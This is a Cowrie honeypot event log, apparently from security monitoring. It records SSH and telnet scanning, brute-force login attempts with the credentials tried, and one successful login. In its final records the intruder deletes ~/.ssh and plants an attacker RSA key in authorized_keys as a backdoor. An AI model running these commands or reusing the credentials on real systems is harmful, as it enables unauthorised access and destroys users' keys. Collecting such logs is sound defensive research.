{"eventid":"cowrie.login.failed","username":"ubuntu","password":"25","message":"login attempt [ubuntu/25] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:25.671250Z","src_ip":"115.68.208.117","session":"205bba109e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49608,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bb531789585","protocol":"telnet","message":"New connection: 165.232.131.181:49608 (10.17.0.5:23) [session: 7bb531789585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:26.114360Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:27.428519Z","src_ip":"115.68.208.117","session":"205bba109e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.80985474586487,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:27.541937Z","src_ip":"38.54.119.93","session":"35c283ab7a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.756413221359253,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:29.393156Z","src_ip":"105.113.90.218","session":"d4620e81a725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44788,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b6b1bf0f61","protocol":"telnet","message":"New connection: 65.60.27.33:44788 (10.17.0.5:23) [session: 77b6b1bf0f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:32.330653Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46562,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c7b7ec6dd6","protocol":"telnet","message":"New connection: 38.54.119.93:46562 (10.17.0.5:23) [session: b9c7b7ec6dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:33.520090Z"}
{"eventid":"cowrie.session.closed","duration":38.21048331260681,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:33.795635Z","src_ip":"62.210.97.77","session":"2e6958736a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.004374265670776,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:36.135396Z","src_ip":"192.211.53.160","session":"330c524b63a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49094605445862,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:41.141342Z","src_ip":"62.210.97.77","session":"ccdf48cf41f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.8033287525177,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:42.323296Z","src_ip":"38.54.119.93","session":"b9c7b7ec6dd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc948baaef2","protocol":"telnet","message":"New connection: 38.54.119.93:54394 (10.17.0.5:23) [session: edc948baaef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:47.139048Z"}
{"eventid":"cowrie.session.closed","duration":7.316632270812988,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:40:54.455557Z","src_ip":"38.54.119.93","session":"edc948baaef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":46450,"dst_ip":"159.203.135.109","dst_port":22,"session":"31591e3dad73","protocol":"ssh","message":"New connection: 61.72.55.130:46450 (159.203.135.109:22) [session: 31591e3dad73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:01.044960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:01.050041Z","src_ip":"61.72.55.130","session":"31591e3dad73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:01.249617Z","src_ip":"61.72.55.130","session":"31591e3dad73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.863837480545044,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:01.503455Z","src_ip":"65.60.27.33","session":"78849f106ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.782594203948975,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:01.827816Z","src_ip":"165.232.131.181","session":"6aa7fc729461","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:02.078501Z","src_ip":"61.72.55.130","session":"31591e3dad73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2400a0742435","protocol":"ssh","message":"New connection: 20.203.42.204:50368 (159.203.135.109:22) [session: 2400a0742435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:02.526376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:02.531384Z","src_ip":"20.203.42.204","session":"2400a0742435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:02.697981Z","src_ip":"20.203.42.204","session":"2400a0742435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:03.280664Z","src_ip":"61.72.55.130","session":"31591e3dad73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin99","message":"login attempt [root/admin99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:03.395607Z","src_ip":"20.203.42.204","session":"2400a0742435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:04.565861Z","src_ip":"20.203.42.204","session":"2400a0742435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35940,"dst_ip":"10.17.0.5","dst_port":23,"session":"45234dbf4f63","protocol":"telnet","message":"New connection: 62.210.97.77:35940 (10.17.0.5:23) [session: 45234dbf4f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:11.827685Z"}
{"eventid":"cowrie.session.closed","duration":42.5040397644043,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:14.834556Z","src_ip":"65.60.27.33","session":"77b6b1bf0f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58460,"dst_ip":"159.203.135.109","dst_port":22,"session":"65b7e83d7c9f","protocol":"ssh","message":"New connection: 80.94.92.182:58460 (159.203.135.109:22) [session: 65b7e83d7c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:23.390783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:23.405703Z","src_ip":"80.94.92.182","session":"65b7e83d7c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:23.591275Z","src_ip":"80.94.92.182","session":"65b7e83d7c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"p@ssw0rd","message":"login attempt [solana/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:24.294551Z","src_ip":"80.94.92.182","session":"65b7e83d7c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43220,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d2ef781f163","protocol":"telnet","message":"New connection: 165.232.131.181:43220 (10.17.0.5:23) [session: 8d2ef781f163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:24.822318Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:25.509530Z","src_ip":"80.94.92.182","session":"65b7e83d7c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":48832,"dst_ip":"10.17.0.5","dst_port":22,"session":"52322cc7dcd7","protocol":"ssh","message":"New connection: 103.176.20.115:48832 (10.17.0.5:22) [session: 52322cc7dcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:28.798825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:28.803103Z","src_ip":"103.176.20.115","session":"52322cc7dcd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:29.050487Z","src_ip":"103.176.20.115","session":"52322cc7dcd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121212","message":"login attempt [user/121212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:30.073646Z","src_ip":"103.176.20.115","session":"52322cc7dcd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:31.325116Z","src_ip":"103.176.20.115","session":"52322cc7dcd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47670,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bb7396b3c75","protocol":"telnet","message":"New connection: 165.232.131.181:47670 (10.17.0.5:23) [session: 5bb7396b3c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:38.627702Z"}
{"eventid":"cowrie.session.closed","duration":30.254058837890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:42.081634Z","src_ip":"62.210.97.77","session":"45234dbf4f63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37068,"dst_ip":"10.17.0.5","dst_port":23,"session":"600951c7372f","protocol":"telnet","message":"New connection: 38.54.119.93:37068 (10.17.0.5:23) [session: 600951c7372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:52.576887Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c84fc9ca687c","protocol":"telnet","message":"New connection: 165.232.131.181:54622 (10.17.0.5:23) [session: c84fc9ca687c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:55.217974Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e658314c0351","protocol":"telnet","message":"New connection: 192.211.53.160:58402 (159.203.135.109:23) [session: e658314c0351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:55.864205Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40352,"dst_ip":"10.17.0.5","dst_port":23,"session":"113c4ed5a84f","protocol":"telnet","message":"New connection: 38.54.119.93:40352 (10.17.0.5:23) [session: 113c4ed5a84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:57.843407Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":33258,"dst_ip":"159.203.135.109","dst_port":22,"session":"511428d24f4f","protocol":"ssh","message":"New connection: 61.72.55.130:33258 (159.203.135.109:22) [session: 511428d24f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:59.462426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:59.466417Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:41:59.663554Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz2wsx#EDC","message":"login attempt [oracle/1qaz2wsx#EDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:00.484457Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:00.924114Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:00.927040Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:00.930370Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.129900Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.574642Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:42:01.578645Z","src_ip":"61.72.55.130","session":"511428d24f4f","protocol":"ssh"}
